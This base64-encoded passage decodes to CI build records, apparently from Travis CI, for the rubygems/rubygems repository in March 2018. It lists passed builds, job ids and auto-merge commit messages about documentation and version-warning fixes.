c2MDYyNjgiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NzYwNjI2OAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTc2MDYyNjkiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NzYwNjI2OQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTc2MDYyNzAiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NzYwNjI3MAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTc2MDYyNzEiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NzYwNjI3MQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTc2MDYyNzIiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NzYwNjI3MgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTc2MDYyNzMiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NzYwNjI3MwogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTc2MDYyNzQiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NzYwNjI3NAogICAgICAgIH0KICAgICAgXSwKICAgICAgInN0YWdlcyI6IFsKCiAgICAgIF0sCiAgICAgICJjcmVhdGVkX2J5IjogewogICAgICAgICJAdHlwZSI6ICJ1c2VyIiwKICAgICAgICAiQGhyZWYiOiAiL3VzZXIvMzc2ODAyIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDM3NjgwMiwKICAgICAgICAibG9naW4iOiAiYnVuZGxlcmJvdCIKICAgICAgfSwKICAgICAgInVwZGF0ZWRfYXQiOiAiMjAxOC0wMy0yM1QyMjoxODowNS45NjdaIgogICAgfSwKICAgIHsKICAgICAgIkB0eXBlIjogImJ1aWxkIiwKICAgICAgIkBocmVmIjogIi9idWlsZC8zNTcxOTM5NDUiLAogICAgICAiQHJlcHJlc2VudGF0aW9uIjogInN0YW5kYXJkIiwKICAgICAgIkBwZXJtaXNzaW9ucyI6IHsKICAgICAgICAicmVhZCI6IHRydWUsCiAgICAgICAgImNhbmNlbCI6IGZhbHNlLAogICAgICAgICJyZXN0YXJ0IjogZmFsc2UKICAgICAgfSwKICAgICAgImlkIjogMzU3MTkzOTQ1LAogICAgICAibnVtYmVyIjogIjQ3OTEiLAogICAgICAic3RhdGUiOiAicGFzc2VkIiwKICAgICAgImR1cmF0aW9uIjogNTg1MiwKICAgICAgImV2ZW50X3R5cGUiOiAicHVzaCIsCiAgICAgICJwcmV2aW91c19zdGF0ZSI6ICJwYXNzZWQiLAogICAgICAicHVsbF9yZXF1ZXN0X3RpdGxlIjogbnVsbCwKICAgICAgInB1bGxfcmVxdWVzdF9udW1iZXIiOiBudWxsLAogICAgICAic3RhcnRlZF9hdCI6ICIyMDE4LTAzLTIzVDAxOjU1OjU3WiIsCiAgICAgICJmaW5pc2hlZF9hdCI6ICIyMDE4LTAzLTIzVDAyOjE5OjA0WiIsCiAgICAgICJyZXBvc2l0b3J5IjogewogICAgICAgICJAdHlwZSI6ICJyZXBvc2l0b3J5IiwKICAgICAgICAiQGhyZWYiOiAiL3JlcG8vMjIyMSIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAyMjIxLAogICAgICAgICJuYW1lIjogInJ1YnlnZW1zIiwKICAgICAgICAic2x1ZyI6ICJydWJ5Z2Vtcy9ydWJ5Z2VtcyIKICAgICAgfSwKICAgICAgImJyYW5jaCI6IHsKICAgICAgICAiQHR5cGUiOiAiYnJhbmNoIiwKICAgICAgICAiQGhyZWYiOiAiL3JlcG8vMjIyMS9icmFuY2gvbWFzdGVyIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJuYW1lIjogIm1hc3RlciIKICAgICAgfSwKICAgICAgInRhZyI6IG51bGwsCiAgICAgICJjb21taXQiOiB7CiAgICAgICAgIkB0eXBlIjogImNvbW1pdCIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAxMDY0Mjk5ODEsCiAgICAgICAgInNoYSI6ICI0NGI3MjRkNTE4MDUxMjkzMGUwN2MwZDg3Y2VkNDI4OTFhNGFkYzNhIiwKICAgICAgICAicmVmIjogInJlZnMvaGVhZHMvbWFzdGVyIiwKICAgICAgICAibWVzc2FnZSI6ICJBdXRvIG1lcmdlIG9mICMyMjQyIC0gZGVpdmlkLXJvZHJpZ3VlejphY3Rpb25hYmxlX3NlbXZlcl93YXJuaW5nLCByPWJyb256ZG9jXG5cbkFkZCBhIG5vdGUgZm9yIHRoZSBub24tc2VtYW50aWNhbGx5IHZlcnNpb25lZCBjYXNlXG5cbiMgRGVzY3JpcHRpb246XG5cbkZpeGVzICMyMjI4IGJ5IHJlY29tbWVuZGluZyBhbm90aGVyIGZvcm0gb2YgdmVyc2lvbiBzcGVjaWZpY2F0aW9uIHdoZW4gdGhlIG92ZXJseSBzdHJpY3QgZGVwZW5kZW5jeSBpcyBub3QgYWN0dWFsbHkgc2VtYW50aWNhbGx5IHZlcnNpb25lZC5cbl9fX19fX19fX19fX19fXG5cbiMgVGFza3M6XG5cbi0gW3hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbIF0gV3JpdGUgdGVzdHNcbi0gW3hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS4iLAogICAgICAgICJjb21wYXJlX3VybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tcGFyZS83YzE0MTk4ZmM5OGQuLi40NGI3MjRkNTE4MDUiLAogICAgICAgICJjb21taXR0ZWRfYXQiOiAiMjAxOC0wMy0yM1QwMTozMDowMloiCiAgICAgIH0sCiAgICAgICJqb2JzIjogWwogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzU3MTkzOTQ2IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTcxOTM5NDYKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzU3MTkzOTQ3IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTcxOTM5NDcKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzU3MTkzOTQ4IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTcxOTM5NDgKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzU3MTkzOTQ5IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTcxOTM5NDkKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzU3MTkzOTUwIiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTcxOTM5NTAKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzU3MTkzOTUyIiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTcxOTM5NTIKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzU3MTkzOTU0IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTcxOTM5NTQKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzU3MTkzOTU1IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTcxOTM5NTUKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzU3MTkzOTU2IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTcxOTM5NTYKICAgICAgICB9LAogICAgICAgIHsKICAgICAgICAgICJAdHlwZSI6ICJqb2IiLAogICAgICAgICAgIkBocmVmIjogIi9qb2IvMzU3MTkzOTU3IiwKICAgICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgICAiaWQiOiAzNTcxOTM5NTcKICAgICAgICB9CiAgICAgIF0sCiAgICAgICJzdGFnZXMiOiBbCgogICAgICBdLAogICAgICAiY3JlYXRlZF9ieSI6IHsKICAgICAgICAiQHR5cGUiOiAidXNlciIsCiAgICAgICAgIkBocmVmIjogIi91c2VyLzM3NjgwMiIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAiaWQiOiAzNzY4MDIsCiAgICAgICAgImxvZ2luIjogImJ1bmRsZXJib3QiCiAgICAgIH0sCiAgICAgICJ1cGRhdGVkX2F0IjogIjIwMTgtMDMtMjNUMDI6MTk6MDQuNDgxWiIKICAgIH0sCiAgICB7CiAgICAgICJAdHlwZSI6ICJidWlsZCIsCiAgICAgICJAaHJlZiI6ICIvYnVpbGQvMzU3MTg3MDg4IiwKICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJzdGFuZGFyZCIsCiAgICAgICJAcGVybWlzc2lvbnMiOiB7CiAgICAgICAgInJlYWQiOiB0cnVlLAogICAgICAgICJjYW5jZWwiOiBmYWxzZSwKICAgICAgICAicmVzdGFydCI6IGZhbHNlCiAgICAgIH0sCiAgICAgICJpZCI6IDM1NzE4NzA4OCwKICAgICAgIm51bWJlciI6ICI0NzkwIiwKICAgICAgInN0YXRlIjogInBhc3NlZCIsCiAgICAgICJkdXJhdGlvbiI6IDYzNzUsCiAgICAgICJldmVudF90eXBlIjogInB1c2giLAogICAgICAicHJldmlvdXNfc3RhdGUiOiAicGFzc2VkIiwKICAgICAgInB1bGxfcmVxdWVzdF90aXRsZSI6IG51bGwsCiAgICAgICJwdWxsX3JlcXVlc3RfbnVtYmVyIjogbnVsbCwKICAgICAgInN0YXJ0ZWRfYXQiOiAiMjAxOC0wMy0yM1QwMTozMDo1MloiLAogICAgICAiZmluaXNoZWRfYXQiOiAiMjAxOC0wMy0yM1QwMTo1NjozOFoiLAogICAgICAicmVwb3NpdG9yeSI6IHsKICAgICAgICAiQHR5cGUiOiAicmVwb3NpdG9yeSIsCiAgICAgICAgIkBocmVmIjogIi9yZXBvLzIyMjEiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMjIyMSwKICAgICAgICAibmFtZSI6ICJydWJ5Z2VtcyIsCiAgICAgICAgInNsdWciOiAicnVieWdlbXMvcnVieWdlbXMiCiAgICAgIH0sCiAgICAgICJicmFuY2giOiB7CiAgICAgICAgIkB0eXBlIjogImJyYW5jaCIsCiAgICAgICAgIkBocmVmIjogIi9yZXBvLzIyMjEvYnJhbmNoL21hc3RlciIsCiAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAibmFtZSI6ICJtYXN0ZXIiCiAgICAgIH0sCiAgICAgICJ0YWciOiBudWxsLAogICAgICAiY29tbWl0IjogewogICAgICAgICJAdHlwZSI6ICJjb21taXQiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMTA2NDI3Nzg1LAogICAgICAgICJzaGEiOiAiN2MxNDE5OGZjOThkNWMzN2Y3NDhkMTE3N2Y0YWYyMmFkMjU0OTk1NyIsCiAgICAgICAgInJlZiI6ICJyZWZzL2hlYWRzL21hc3RlciIsCiAgICAgICAgIm1lc3NhZ2UiOiAiQXV0byBtZXJnZSBvZiAjMjIyOSAtIGtuaWZlY2FrZTptYXN0ZXIsIHI9YnJvbnpkb2NcblxuRml4ICMxNDcwOiBnZW5lcmF0ZSBkb2N1bWVudGF0aW9uIHdoZW4gLS1pbnN0YWxsLWRpciBpcyBwcmVzZW50LlxuXG4jIERlc2NyaXB0aW9uOlxuRml4ZXMgYSBwcm9ibGVtICgjMTQ3MCkgd2hlcmUgZG9jdW1lbnRhdGlvbiB3b3VsZCBub3QgYmUgZ2VuZXJhdGVkIHdoZW4gc2VsZWN0aW5nIGEgZGlyZWN0b3J5IGZvciBpbnN0YWxsYXRpb24gdXNpbmcgYC0taW5zdGFsbC1kaXJgLiBUaGUgY29kZSBmb3IgY2FsbGluZyBob29rcyB3YXMgbW92ZWQgb250byBhIHNlcGFyYXRlIGZ1bmN0aW9uIChgaW5zdGFsbF9ob29rc2ApIHdoaWNoIGlzIG5vdyBjYWxsZWQgZnJvbSBib3RoIGBpbnN0YWxsYCBhbmQgYGluc3RhbGxfaW50b2AgKGluIGByZXF1ZXN0X3NldC5yYmApLlxuXG5fX19fX19fX19fX1xuXG4jIFRhc2tzOlxuXG4tIFt4XSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gW3hdIFdyaXRlIHRlc3RzXG4tIFt4XSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzOiAqKmNvbW1lbnRzIGFyZSB2ZXJ5IGFwcHJlY2lhdGVkISoqXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuIiwKICAgICAgICAiY29tcGFyZV91cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbXBhcmUvZTM0NTdhYzRiMTE5Li4uN2MxNDE5OGZjOThkIiwKICAgICAgICAiY29tbWl0dGVkX2F0IjogIjIwMTgtMDMtMjNUMDE6MDU6MzZaIgogICAgICB9LAogICAgICAiam9icyI6IFsKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1NzE4NzA5MCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU3MTg3MDkwCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1NzE4NzA5MiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU3MTg3MDkyCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1NzE4NzA5NCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU3MTg3MDk0CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1NzE4NzA5NSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU3MTg3MDk1CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1NzE4NzA5NiIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU3MTg3MDk2CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1NzE4NzA5NyIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU3MTg3MDk3CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1NzE4NzA5OCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU3MTg3MDk4CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1NzE4NzA5OSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU3MTg3MDk5CiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1NzE4NzEwMCIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU3MTg3MTAwCiAgICAgICAgfSwKICAgICAgICB7CiAgICAgICAgICAiQHR5cGUiOiAiam9iIiwKICAgICAgICAgICJAaHJlZiI6ICIvam9iLzM1NzE4NzEwMSIsCiAgICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICAgImlkIjogMzU3MTg3MTAxCiAgICAgICAgfQogICAgICBdLAogICAgICAic3RhZ2VzIjogWwoKICAgICAgXSwKICAgICAgImNyZWF0ZWRfYnkiOiB7CiAgICAgICAgIkB0eXBlIjogInVzZXIiLAogICAgICAgICJAaHJlZiI6ICIvdXNlci8zNzY4MDIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgImlkIjogMzc2ODAyLAogICAgICAgICJsb2dpbiI6ICJidW5kbGVyYm90IgogICAgICB9LAogICAgICAidXBkYXRlZF9hdCI6ICIyMDE4LTAzLTIzVDAxOjU2OjM4LjI5NFoiCiAgICB9LAogICAgewogICAgICAiQHR5cGUiOiAiYnVpbGQiLAogICAgICAiQGhyZWYiOiAiL2J1aWxkLzM1NDg1NzQ2MiIsCiAgICAgICJAcmVwcmVzZW50YXRpb24iOiAic3RhbmRhcmQiLAogICAgICAiQHBlcm1pc3Npb25zIjogewogICAgICAgICJyZWFkIjogdHJ1ZSwKICAgICAgICAiY2FuY2VsIjogZmFsc2UsCiAgICAgICAgInJlc3RhcnQiOiBmYWxzZQogICAgICB9LAogICAgICAiaWQiOiAzNTQ4NTc0NjIsCiAgICAgICJudW1iZXIiOiAiNDc4NCIsCiAgICAgICJzdGF0ZSI6ICJwYXNzZWQiLAogICAgICAiZHVyYXRpb24iOiA2MTI1LAogICAgICAiZXZlbnRfdHlwZSI6ICJwdXNoIiwKICAgICAgInByZXZpb3VzX3N0YXRlIjogInBhc3NlZCIsCiAgICAgICJwdWxsX3JlcXVlc3RfdGl0bGUiOiBudWxsLAogICAgICAicHVsbF9yZXF1ZXN0X251bWJlciI6IG51bGwsCiAgICAgICJzdGFydGVkX2F0IjogIjIwMTgtMDMtMTdUMjI6NTA6MzBaIiwKICAgICAgImZpbmlzaGVkX2F0IjogIjIwMTgtMDMtMTdUMjM6MTQ6NTFaIiwKICAgICAgInJlcG9zaXRvcnkiOiB7CiAgICAgICAgIkB0eXBlIjogInJlcG9zaXRvcnkiLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDIyMjEsCiAgICAgICAgIm5hbWUiOiAicnVieWdlbXMiLAogICAgICAgICJzbHVnIjogInJ1YnlnZW1zL3J1YnlnZW1zIgogICAgICB9LAogICAgICAiYnJhbmNoIjogewogICAgICAgICJAdHlwZSI6ICJicmFuY2giLAogICAgICAgICJAaHJlZiI6ICIvcmVwby8yMjIxL2JyYW5jaC9tYXN0ZXIiLAogICAgICAgICJAcmVwcmVzZW50YXRpb24iOiAibWluaW1hbCIsCiAgICAgICAgIm5hbWUiOiAibWFzdGVyIgogICAgICB9LAogICAgICAidGFnIjogbnVsbCwKICAgICAgImNvbW1pdCI6IHsKICAgICAgICAiQHR5cGUiOiAiY29tbWl0IiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDEwNTY5NzM4NCwKICAgICAgICAic2hhIjogImUzNDU3YWM0YjExOTNiNzdkM2JjY2Q1MGEwODdjZTk5MjI5YjNhOGMiLAogICAgICAgICJyZWYiOiAicmVmcy9oZWFkcy9tYXN0ZXIiLAogICAgICAgICJtZXNzYWdlIjogIkF1dG8gbWVyZ2Ugb2YgIzIyMzkgLSBydWJ5Z2VtczpmaXhfZXhlY19uYW1lX2RvY3MsIHI9c2VnaWRkaW5zXG5cbkZpeCBleGVjX25hbWUgZG9jdW1lbnRhdGlvblxuXG4jIERlc2NyaXB0aW9uOlxuY2xvc2VzIGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTk0OVxuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLiIsCiAgICAgICAgImNvbXBhcmVfdXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21wYXJlL2E4ZGNkMmZiZjk0MC4uLmUzNDU3YWM0YjExOSIsCiAgICAgICAgImNvbW1pdHRlZF9hdCI6ICIyMDE4LTAzLTE3VDIyOjIxOjQzWiIKICAgICAgfSwKICAgICAgImpvYnMiOiBbCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTQ4NTc0NjMiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NDg1NzQ2MwogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTQ4NTc0NjQiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NDg1NzQ2NAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTQ4NTc0NjUiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NDg1NzQ2NQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTQ4NTc0NjYiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NDg1NzQ2NgogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTQ4NTc0NjciLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NDg1NzQ2NwogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTQ4NTc0NjgiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NDg1NzQ2OAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTQ4NTc0NjkiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NDg1NzQ2OQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTQ4NTc0NzAiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NDg1NzQ3MAogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTQ4NTc0NzEiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NDg1NzQ3MQogICAgICAgIH0sCiAgICAgICAgewogICAgICAgICAgIkB0eXBlIjogImpvYiIsCiAgICAgICAgICAiQGhyZWYiOiAiL2pvYi8zNTQ4NTc0NzIiLAogICAgICAgICAgIkByZXByZXNlbnRhdGlvbiI6ICJtaW5pbWFsIiwKICAgICAgICAgICJpZCI6IDM1NDg1NzQ3MgogICAgICAgIH0KICAgICAgXSwKICAgICAgInN0YWdlcyI6IFsKCiAgICAgIF0sCiAgICAgICJjcmVhdGVkX2J5IjogewogICAgICAgICJAdHlwZSI6ICJ1c2VyIiwKICAgICAgICAiQGhyZWYiOiAiL3VzZXIvMzc2ODAyIiwKICAgICAgICAiQHJlcHJlc2VudGF0aW9uIjogIm1pbmltYWwiLAogICAgICAgICJpZCI6IDM3NjgwMiwKICAgICAgICAibG9naW4iOiAiYnVuZGxlcmJvdCIKICAgICAgfSwKICAgICAgInVwZGF0ZWRfYXQiOiAiMjAxOC0wMy0xN1QyMzoxNDo1Mi4wMjdaIgogICAgfSwKICAgIHsKICAgICAgIkB0eXBlIjogImJ1aWxkIiwKICAgICAgIkBocmVmIjogIi9idWlsZC8zNTI3MTExNzAiLAogICAgICAiQHJlcHJlc2VudGF0aW9uIjogInN0YW5kYXJkIiwKICAgICAgIkBwZXJtaXNzaW9ucyI6IHsKICAgICAgICAicmVhZCI6IHRydWUsCiAgICAgICAgImNhbmNlbCI6IGZhbHNlLAogICAgICAgICJyZXN0YXJ0IjogZmFsc2UKICAgICAgfSwKICAgICAgImlkIjogMzUyNzExMTcwLAogICAgICAibnVtYmVyIjogIjQ3ODAiLAogICAgICAic3RhdGUiOiAicGFzc2VkIiwKICAgICAgImR1cmF0aW9uIjogNzQwNSwKICAgICAgImV2ZW50X3R5cGUiOiAicHVzaCIsCiAgICAgICJwcmV2aW91c19zdGF0ZSI6ICJwYXNzZWQiLAogICAgICAicHVsbF9yZXF1ZXN0X3RpdGxlIjogbnVsbCwKICAgICAgInB1bGxfcmVxdWVzdF9udW1iZXIiOiBudWxsLAo